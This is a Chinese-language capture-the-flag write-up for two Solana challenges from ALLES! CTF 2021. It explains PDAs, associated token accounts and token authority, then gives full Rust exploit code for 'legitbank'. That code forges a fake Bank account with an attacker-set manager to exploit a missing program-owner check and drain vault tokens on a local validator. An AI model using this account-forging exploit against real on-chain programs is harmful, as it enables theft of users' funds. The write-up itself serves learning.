小了解一下solana

allesctf21

secret store

题目很简单但代码不少,功能都有,很好的供初学者熟悉solana合约,题目给了cli交互程序,先来看看cli。 cli提供了InitializeLedger、Setup、GetFlag三种功能:

InitializeLedger

  • 首先从私钥创建了两个账户:flag_depot和rich_boi
  • add_flag_mint:创建了一个flag mint账户,用于存储token 信息,包括 Mint 的公钥、供应量、小数位数等元数据信息,这个操作类比spl-token create-token命令。

image.png

  • add_flag_depot:创建了一个代币关联账户(associated_token_account),authority 就是flag_depot。 ata的存在是为了简化用户之间的代币交易等操作,这个账户的最终生成方式是利用find_program_address
Pubkey::find_program_address(  
    &[  
        &wallet_address.to_bytes(),  
        &token_program_id.to_bytes(),  
        &spl_token_mint_address.to_bytes(),  
    ],  
    ATA_program_id,  
)

查询账户 image.png

当然我们也可以用代码解包其中的data数据,或者直接利用solana transaction-history --show-transactions --url http://127.0.0.1:8899 "Secret1111111111111111111111111111111111111"更方便。

fn main() {  
    let flag_depot = keypair::Keypair::read_from_file("/Users/kkfine/Documents/blockchain/solana/solana-ctf-master/allesctf2021/secretstore/keys/flag-depot.json").unwrap();  
    let token_mint_address = pubkey::Pubkey::from_str("F1agMint11111111111111111111111111111111111").unwrap(); 
    let ata =  get_associated_token_address(&flag_depot.pubkey(), &token_mint_address);  
    println!("ata: {:?}", ata);  
 
    let rpc_url = "http://127.0.0.1:8899"; 
    let rpc_client = RpcClient::new(rpc_url.to_string());  
    let account_data = rpc_client.get_account_data(&ata).expect("Failed to get account data");  
    let account_state = spl_token::state::Account::unpack(&account_data).expect("Failed to parse account data");  
  
    println!("account_state: {:?}", account_state);
    }

解包后的数据也跟创建账户时存储数据的结构体保持一致,其中owner在setup的时候被设置成了程序派生账户store_address。 image.png image.png

  • 添加了flag 原生程序账户,名字是 flagloader_program
  • 添加了store_program,名字是“store”

setup

  • 生成了store_program的派生账户store_address作为程序唯一的存储账户,用于存储secret。
  • 携带了secret数据调用store_program的initialize函数进行初始化
  • 在store_program中的initialize中主要进行了这几步:
  • 1.验证 store_info.key是否是唯一的程序派生账户。
  • 2.检查存储的秘密是否匹配。
  • 3.确认 token_program 是否为 SPL Token 程序。
  • 4.将初始化中生成的ATA代币账户的 authority 设置为程序派生账户store_address。注意这里可以设置的类型有四个MintTokens``FreezeAccount,AccountOwner,CloseAccount。修改完这里就是4WqgwsyU8WautoDMPQZFrnJ26d7UWrY39GHyz3qWtFQN

image.png

  • 5.在该地址 (store PDA) 写入 secret。

所以其实这里的secret直接查看交易数据就可以获取 image.png 解码可以用python image.png 也可以用rust

let (store_address, _) = Pubkey::find_program_address(&[], &store_program::ID);  
let secret = Store::try_from_slice(&*rpc_client.get_account_data(&store_address).expect("")).expect("Failed to parse account data");  
msg!("store: {:?}", secret);

这里还可以注意到的一点是,ATA账户解包之后的account owner是PDA 账户4WqgwsyU8WautoDMPQZFrnJ26d7UWrY39GHyz3qWtFQN,而ATA自身的owner是TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA。 关于token账户之间的关系直接看图 image.png

get_flag

  • 发起两个交易,第一个交易调用store_program的的getflag函数,需要传入secret,如果secret正确,则能够修改代币账户的authority为我们制定的account address。
  • 第二个交易调用flagloader_program尝试获取flag,需要通过检查代币账户中的Mint地址是否为指定的Mint地址,传入的账户的owner是否是spl_token以及token owner是否是Signer 身份 之前我们获取到了secret,所以这里直接可以修改token owner为我们的fee payer即rich-boi账户,然后去调用flagloader_program即可 cli -k keys/rich-boi.json get-flag "HYkP8hLxL1eXSRcX6EGZ9bMFJ1csmyBvJGcWeGU6Syh3" 123456

image.png

很简单的一个题不过对于初学者是很好的题了,把很多概念都捋的很清楚了。

legitbank

同于上题,也是给了cli便于交互,但这次多了几个功能:InitializeLedgerSetup, Show,Withdraw,Deposit,GetFlag.看出来跟solidity的那一套有点像了,但WithdrawDeposit的交互没有实现,简单说一下功能,bank program就带过了很好理解。

InitializeLedger

  • 创建了flag mint账户,一共16个
  • 创建了ATA token account,owner是flag_depot,一共16个token
  • 创建flag program
  • 添加bank 程序账户
  • 创建账户 bank_manager,并赋予其 100 SOL 的初始余额。

setup

  • 创建了bank_address(PDA)程序存储账户,vault_address银行金库账户,vault_authority_address用于标识是否有操作金库权限
  • 初始化bank信息,包括利率,管理员,vault_address等
  • 从初始化中的ATA token account转账 16 个token到银行金库账户vault_address
  • 随机生成了几个账户向银行存钱,模拟真实场景。

show

  • 展示在银行存过钱的相关账户的信息

程序漏洞其实在invest函数里,这个功能的本意是确保只有授权的管理员可以进行一些银行资金的投资或者其他转账操作。 但是这里只检验了bank.manager_key == manager_info.key,但并没有检验我是否是合法的Bank程序,所以可以构造一个恶意的bank,然后里面的manager_key 设置为我们的地址。 image.png

攻击步骤就是首先需要创建一个虚假的bank程序账户,然后生成其存储账户并写入恶意的Bank数据,将manager设置成可控的账户。 如下是bank程序,用于向存储账户写入恶意Bank数据

use solana_program::{clock::UnixTimestamp, entrypoint};  
use borsh::{BorshDeserialize, BorshSerialize};  
use solana_program::{  
    account_info::AccountInfo,  
    entrypoint::ProgramResult,  
    pubkey::Pubkey,  
};  
  
  
entrypoint!(process_instruction);  
  
pub fn process_instruction(  
    program_id: &Pubkey,  
    accounts: &[AccountInfo],  
    instruction_data: &[u8],  
) -> ProgramResult {  
    let bank_account_to_initialize = &accounts[0];  
    bank_account_to_initialize.data.borrow_mut()[..instruction_data.len()].copy_from_slice(&instruction_data);  
    return Ok(());  
  
}

然后调用invest即可,当然交易之前需要生成一个自己的token account,spl-token create-account "F1agMint11111111111111111111111111111111111" --owner ./rich-boi.json

use std::str::FromStr;  
use borsh::{BorshDeserialize, BorshSerialize, to_vec};  
use solana_client::nonce_utils::{Error, get_account};  
use solana_sdk::pubkey::Pubkey;  
use solana_client::rpc_client::RpcClient;  
use solana_client::rpc_config::RpcProgramAccountsConfig;  
use solana_client::rpc_filter::RpcFilterType;  
use solana_program::msg;  
use solana_program::clock::UnixTimestamp;  
use solana_program::instruction::{AccountMeta, Instruction};  
use solana_program::program_pack::Pack;  
use solana_program::rent::Rent;  
use solana_program::system_instruction::create_account;  
use solana_sdk::signature::{Keypair, keypair_from_seed, read_keypair_file, Signer};  
use solana_sdk::transaction::Transaction;  
use spl_associated_token_account::get_associated_token_address;  
  
#[derive(Debug, BorshDeserialize, BorshSerialize)]  
pub enum BankInstruction {  
    Initialize { reserve_rate: u8 },  
    Open,  
    Deposit { amount: u64 },  
    Withdraw { amount: u64 },  
    Invest { amount: u64 },  
}  
  
pub mod bank_program {  
    use solana_sdk::declare_id;  
    declare_id!("Bank111111111111111111111111111111111111111");  
}  
  
pub mod flag_mint {  
    use solana_program::declare_id;  
    declare_id!("F1agMint11111111111111111111111111111111111");  
}  
  
pub mod flag_program {  
    use solana_program::declare_id;  
    declare_id!("F1ag111111111111111111111111111111111111111");  
}  
#[derive(Debug, BorshSerialize, BorshDeserialize)]  
pub struct Bank {  
    pub manager_key: [u8; 32],  
    pub vault_key: [u8; 32],  
    pub vault_authority: [u8; 32],  
    pub vault_authority_seed: u8,  
    pub reserve_rate: u8,  
    pub total_deposit: u64,  
}  
  
#[derive(Debug, BorshDeserialize, BorshSerialize)]  
pub struct UserAccount {  
    pub balance: u64,  
    pub interest_rate: u8,  
    pub interest_paid_time: UnixTimestamp,  
}  
  
pub const BANK_LEN: u64 = 106;  
  
pub const KEYPAIRS: [[u8; 64]; 1] = [  
    include!("/Users/kkfine/Documents/blockchain/solana/solana-ctf-master/allesctf2021/legitbank/keys/K111oRLawRi8iTuyfeCnwjsBNcm8FZ8yKUKJ8PHguvZ.json")];  
fn main() {  
    let flag_depot_owner = read_keypair_file("/Users/kkfine/Documents/blockchain/solana/solana-ctf-master/allesctf2021/legitbank/keys/flag-depot.json").expect("read mint keypair");  
    let rich_boi = read_keypair_file("/Users/kkfine/Documents/blockchain/solana/solana-ctf-master/allesctf2021/legitbank/keys/rich-boi.json").expect("read mint keypair");  
    let flag_depot = get_associated_token_address(&flag_depot_owner.pubkey(), &flag_mint::ID);  
    let manager = read_keypair_file("/Users/kkfine/Documents/blockchain/solana/solana-ctf-master/allesctf2021/legitbank/keys/bank-manager.json").expect("read bank manager keypair");  
    let bank_initializer = Pubkey::from_str("5TfDTQpALmUZDbjKG3f6f3PuZ5FzC25hrUyP5ZjMmpeU").unwrap();  
    // initialize bank  
    let (bank_address, _) = Pubkey::find_program_address(&[], &bank_program::ID);  
    let (vault_address, _) =  
        Pubkey::find_program_address(&[bank_address.as_ref()], &bank_program::ID);  
    let (vault_authority_address, _) =  
        Pubkey::find_program_address(&[vault_address.as_ref()], &bank_program::ID);  
  
    let flag_token_account_of_rich_boi = get_associated_token_address(&rich_boi.pubkey(), &flag_mint::ID);  
  
    let new_bank = read_keypair_file("/Users/kkfine/Documents/blockchain/solana/solana-ctf-master/allesctf2021/legitbank/keys/K111oRLawRi8iTuyfeCnwjsBNcm8FZ8yKUKJ8PHguvZ.json")  
        .unwrap();  
  
    msg!("New bank address: {}", new_bank.pubkey());  
    msg!("Flag token account of rich boi: {}", flag_token_account_of_rich_boi);  
    msg!("ATA address: {}", flag_depot);  
    msg!("Flag depot owner address: {}", flag_depot_owner.pubkey());  
    msg!("Manager address: {}", manager.pubkey());  
    msg!("Bank address: {}", bank_address);  
    msg!("Vault address: {}", vault_address);  
    msg!("Vault authority address: {}", vault_authority_address);  
  
    let rpc_url = "http://127.0.0.1:8899";  
    let rpc_client = RpcClient::new(rpc_url.to_string());  
    let (recent_blockhash, _fee_calculator) = rpc_client.get_recent_blockhash().unwrap();  
  
    match get_account(&rpc_client, &new_bank.pubkey()) {  
        Err(Error::Client(msg)) => {  
            if msg.contains("AccountNotFound") {  
                let create_and_init_bank = create_bank(&rich_boi, &new_bank, &bank_initializer);  
  
                let mut bank_tx = Transaction::new_with_payer(  
                    &[  
                        create_and_init_bank[0].clone(),  
                        create_and_init_bank[1].clone(),  
                    ],  
                    Some(&rich_boi.pubkey()),  
                );  
  
                bank_tx.sign(&[&rich_boi, &new_bank], recent_blockhash);  
  
                let create_and_init_res = rpc_client  
                    .send_and_confirm_transaction(&mut bank_tx)  
                    .unwrap();  
  
                println!("{:#?}", create_and_init_res);  
            } else {  
                println!("Unknown Error: {}", msg);  
                panic!();  
            }  
        }  
        Err(err) => {  
            println!("account already exist, Unknown Error: {}", err);  
        }  
        Ok(_) => (),  
    }  
  
    let invest_ix = invest_instruction(&rich_boi, &new_bank, &flag_token_account_of_rich_boi);  
    let mut invest_tx = Transaction::new_with_payer(&[invest_ix], Some(&rich_boi.pubkey()));  
    invest_tx.sign(&[&rich_boi], recent_blockhash);  
    let res = rpc_client.send_and_confirm_transaction(&mut invest_tx);  
    println!("{:#?}", res);  
  
    let redeem_ix = get_flag(&flag_token_account_of_rich_boi, &rich_boi);  
    let mut redeem_tx = Transaction::new_with_payer(&[redeem_ix], Some(&rich_boi.pubkey()));  
    redeem_tx.sign(&[&rich_boi], recent_blockhash);  
    let res = rpc_client.simulate_transaction(&redeem_tx);  
    println!("{:#?}", res);  
  
    let amount = spl_token::state::Account::unpack(&rpc_client.get_account(&flag_token_account_of_rich_boi).unwrap().data).unwrap();  
    msg!("after attack Amount: {:?}", amount.amount);  
    let amount = spl_token::state::Account::unpack(&rpc_client.get_account(&vault_address).unwrap().data).unwrap();  
    msg!("vault_address Amount: {:?}", amount.amount);  
  
}  
fn invest_instruction(rich_boi: &Keypair, new_bank: &Keypair, recipient: &Pubkey) -> Instruction {  
    let (bank_address, _bank_seed) = Pubkey::find_program_address(&[], &bank_program::id());  
    let (vault_key, _vault_seed) =  
        Pubkey::find_program_address(&[bank_address.as_ref()], &bank_program::id());  
    let (vault_authority, _vault_authority_seed) =  
        Pubkey::find_program_address(&[vault_key.as_ref()], &bank_program::id());  
  
    Instruction {  
        program_id: bank_program::id(),  
        accounts: vec![  
            AccountMeta::new(new_bank.pubkey(), false),  
            AccountMeta::new(vault_key, false),  
            AccountMeta::new(vault_authority, false),  
            AccountMeta::new(recipient.clone(), false),  
            AccountMeta::new(rich_boi.pubkey(), true),  
            AccountMeta::new(spl_token::id(), false),  
        ],  
        data: to_vec(&BankInstruction::Invest { amount: 1 }).unwrap(),  
    }  
}  
fn get_account_data(rpc_client :RpcClient, bank_address : Pubkey) -> Result<Vec<u8>, Error> {  
  
    let account_data = rpc_client.get_account_data(&bank_address).expect("Failed to get account data");  
    let data = Bank::try_from_slice(&account_data).unwrap();  
    msg!("Bank data: {:?}", data);  
  
    let (_, bank_account) = rpc_client  
        .get_program_accounts_with_config(  
            &bank_program::ID,  
            RpcProgramAccountsConfig {  
                filters: Some(vec![RpcFilterType::DataSize(BANK_LEN)]),  
                ..RpcProgramAccountsConfig::default()  
            },  
        )  
        .unwrap()[0]  
        .clone();  
    msg!("Bank account: {:?}", bank_account);  
    let mut bank_data = Bank::try_from_slice(&bank_account.data).unwrap();  
    msg!("Bank data: {:?}", bank_data);  
  
    Ok(account_data)  
}  
fn create_bank(rich_boi: &Keypair, new_bank: &Keypair, bank_initializer: &Pubkey) -> Vec<Instruction> {  
    let (bank_address, _bank_seed) = Pubkey::find_program_address(&[], &bank_program::id());  
    let (vault_key, _vault_seed) =  
        Pubkey::find_program_address(&[bank_address.as_ref()], &bank_program::id());  
    let (vault_authority, vault_authority_seed) =  
        Pubkey::find_program_address(&[vault_key.as_ref()], &bank_program::id());  
    let bank_struct = Bank {  
        manager_key: rich_boi.pubkey().to_bytes(),  
        reserve_rate: 10,  
        total_deposit: 16,  
        vault_authority: vault_authority.to_bytes(),  
        vault_authority_seed: vault_authority_seed,  
        vault_key: vault_key.to_bytes(),  
    };  
    let mut bank_serialized = Vec::<u8>::new();  
    bank_struct.serialize(&mut bank_serialized).unwrap();  
    let create_ix = create_account(  
        &rich_boi.pubkey(),  
        &new_bank.pubkey(),  
        Rent::minimum_balance(&Rent::default(), bank_serialized.len()),  
        bank_serialized.len() as u64,  
        bank_initializer,  
    );  
    let write_bank_ix = write_bank(bank_serialized, bank_initializer.clone(), new_bank.pubkey());  
    vec![create_ix, write_bank_ix]  
}  
fn write_bank(bank_data: Vec<u8>, writer_program: Pubkey, bank_account: Pubkey) -> Instruction {  
    Instruction {  
        program_id: writer_program,  
        data: bank_data,  
        accounts: vec![AccountMeta::new(bank_account, false)],  
    }  
}  
  
fn get_flag(recipient: &Pubkey, rich_boi: &Keypair) -> Instruction {  
    Instruction {  
        program_id: flag_program::id(),  
        accounts: vec![  
            AccountMeta::new(recipient.clone(), false),  
            AccountMeta::new(rich_boi.pubkey(), true),  
        ],  
        data: Vec::new(),  
    }  
}

查看交易即可看到从银行盗走了1个token,然后调用flag即可。 image.png image.png